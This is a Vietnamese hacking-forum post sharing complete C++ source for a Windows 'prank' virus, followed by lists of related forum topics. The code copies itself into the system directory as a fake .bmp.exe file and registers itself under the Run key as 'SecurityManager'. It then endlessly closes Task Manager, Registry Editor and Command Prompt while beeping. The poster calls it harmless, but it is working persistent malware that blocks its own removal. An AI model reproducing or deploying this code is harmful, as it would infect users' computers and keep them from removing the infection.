C++ source virus củ chuối
Trang 1 trong tổng số 1 trang
C++ source virus củ chuối
hihi,con này nhìn cũng đơn giản nhưng hơi chuối nải,anh em thử thưởng thức xem nhé( ko có gì nguy hiểm đâu ,chỉ hơi buồn cười thoai
- Code:
#include
"windows.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HKEY hKey;
char sd[255];
char path[MAX_PATH];
int Freq = 0;
int Duration = 100;
bool Forwards = true;
bool Backwards =
false;
int timer = 0;
HWND hWin;
HMODULE GetModH =
GetModuleHandle(0);
GetModuleFileName(GetModH, path, 256);
GetSystemDirectory(sd,255);
strcat(sd,"\\Blue Corral.bmp.exe");
CopyFile(path,sd,FALSE);
unsigned char PathToFile[20] = "Blue Corral.bmp.exe";
RegOpenKeyEx(
HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey
);
RegSetValueEx(hKey,
"SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile));
RegCloseKey(hKey);
while(1==1)
{
hWin = FindWindow(NULL,"Windows Task
Manager");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);
hWin = FindWindow(NULL,"Registry Editor");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);
hWin = FindWindow(NULL,"Command Prompt");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);
hWin = FindWindow(NULL,"Close Program");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);
if(Backwards==true)
{
Beep(Freq,Duration);
Freq = Freq -
100;
timer = timer - 1;
}
if (timer == 0)
{
Backwards = false;
Forwards = true;
}
if (timer == 30)
{
Backwards = true;
Forwards = false;
}
if(Forwards==true)
{
Beep(Freq,Duration);
Freq = Freq + 100;
timer = timer + 1;
}
}
return 0;
}
Similar topics
» Quét virus trực tuyến bằng nhiều bộ máy anti-virus
» Lập trình virus trên C - viết virus khóa chuột
» Virus Tin học
» Virus lây qua IM
» Source Botnet AutoIT
» Lập trình virus trên C - viết virus khóa chuột
» Virus Tin học
» Virus lây qua IM
» Source Botnet AutoIT
Trang 1 trong tổng số 1 trang
Permissions in this forum:
Bạn không có quyền trả lời bài viết
27/8/2013, 11:45 am by echcondihoc
» Quản Lí Tiến Trình Dùng Thư Viện PSAPI
11/10/2011, 9:42 pm by CNTT_DH
» xin tai lieu tieng viet
31/8/2011, 6:59 am by bantoisg
» Theo dõi tiến trình
27/8/2011, 5:51 pm by haigaopro01
» Giải pháp Bảo mật của Cisco
17/6/2011, 8:50 am by admin
» Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS (Phần 1)
16/6/2011, 2:32 pm by admin
» Learn to hack !
16/6/2011, 8:49 am by admin
» Giải pháp hệ thống dành cho doanh nghiệp với thiết bị mạng Fortinet (Phần 1)
15/6/2011, 11:12 am by admin
» Ô Long Viên (Tập II)
27/9/2010, 4:56 pm by root
» những ebook về hack tiếng việt cho người mới tìm hiểu.
27/9/2010, 4:54 pm by root